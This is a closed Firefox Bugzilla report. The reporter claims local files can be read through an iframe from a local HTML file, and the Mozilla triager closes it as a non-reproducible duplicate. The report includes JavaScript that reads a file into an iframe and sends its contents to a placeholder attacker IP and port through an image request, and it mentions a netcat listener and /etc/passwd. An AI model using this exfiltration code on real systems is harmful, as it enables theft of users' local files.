Closed Bug 1412211 Opened 4 years ago Closed 4 years ago

Allowed permission to iframe element will let attackers read sensitive files[Mozilla Firefox v56.0.2(64-bit)]


(Firefox :: Untriaged, defect)

Not set





(Reporter: nayakchinmohan, Unassigned)



(1 file, 1 obsolete file)

283.42 KB, application/pdf
Attached file firefoxbug.docx (obsolete) —
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Safari/604.1.38

Steps to reproduce:

Exploit code

The exploit code is very simple.

<meta http-equiv="content-type" content="text/html; charset=utf-8" />


<!-- Dynamically creating an iframe (important part is the onload attribute while will send the innerHTML content to the receive()). Change the file path below. -->

(function () {

document.body.innerHTML='<html><body><center><h1>Testing </h1></center></body></html>';
var profileIframe = document.createElement('iframe');
profileIframe.setAttribute('src', 'file:///C:/Users/chinmohan/Desktop/openvas.txt');
profileIframe.setAttribute('id', 'pi');
profileIframe.setAttribute("onload", "receive(document.getElementById('pi').contentWindow.document.body.innerHTML)");


<!-- Dynamically creating an img element which will send the content to my server. Change the IP address and Port number below -->

function receive(text) {

var profileIframe = document.createElement('img');
profileIframe.setAttribute('src', 'http://<ip address>:<port number>/collect.gif?content='+text);

Steps to Reproduce- 

1.	Copy a .HTML file on Desktop. Copy the above exploit code and paste it in the file. 
2.	Setup a netcat listener in your server
3.	Open the file using a Firefox browser v56.0.2 (64-bit)
4.	The screenshot of netcat listener is below

Actual results:

I was able to exfiltrate the files in the local filesystem.

Expected results:

This vulnerability is fixed in most other versions and return the error called “Error: Permission denied to access property "x". Please check the attached file for detailed report.
I have also tested this on Mac OS Sierra. Version 10.12.6
To evaluate the impact an attacker can exfiltrate /etc/passwd or other sensitive files
Converting this to PDF so it's more universally readable and windows folks don't have to risk bugs/attacks via MS Word. Round-tripped through Google Drive for the conversion so I can't guarantee the formatting was preserved.
Attachment #8922661 - Attachment is obsolete: true
(In reply to Chinmohan Nayak from comment #2)
> To evaluate the impact an attacker can exfiltrate /etc/passwd or other sensitive files

I can't reproduce that, on old or newer versions of Firefox (as expected). There's no spec for file:/// behavior. For the first decade of the web or so each file was same-origin with every other file. That led to various attacks so browsers developed different heuristics to deal with the problem. blink- and webkit-based browsers are the most strict. IE blocks scripts by default, but if the user OKs the prompt and runs them they can still access every other file (I'm not sure what Edge does). Firefox allows files to access other files in the same directory or in sub directories, but not elsewhere (which protects important system files like /etc/passwd).

In my testing on Mac and Windows 10 that is the behavior I get. Marking this a duplicate of the request to make our file handling stricter. If you think I've misunderstood your testcase please add a "needinfo" so I notice your comment.
Closed: 4 years ago
Resolution: --- → DUPLICATE
Duplicate of bug: 803143
Group: firefox-core-security
You need to log in before you can comment on or make changes to this bug.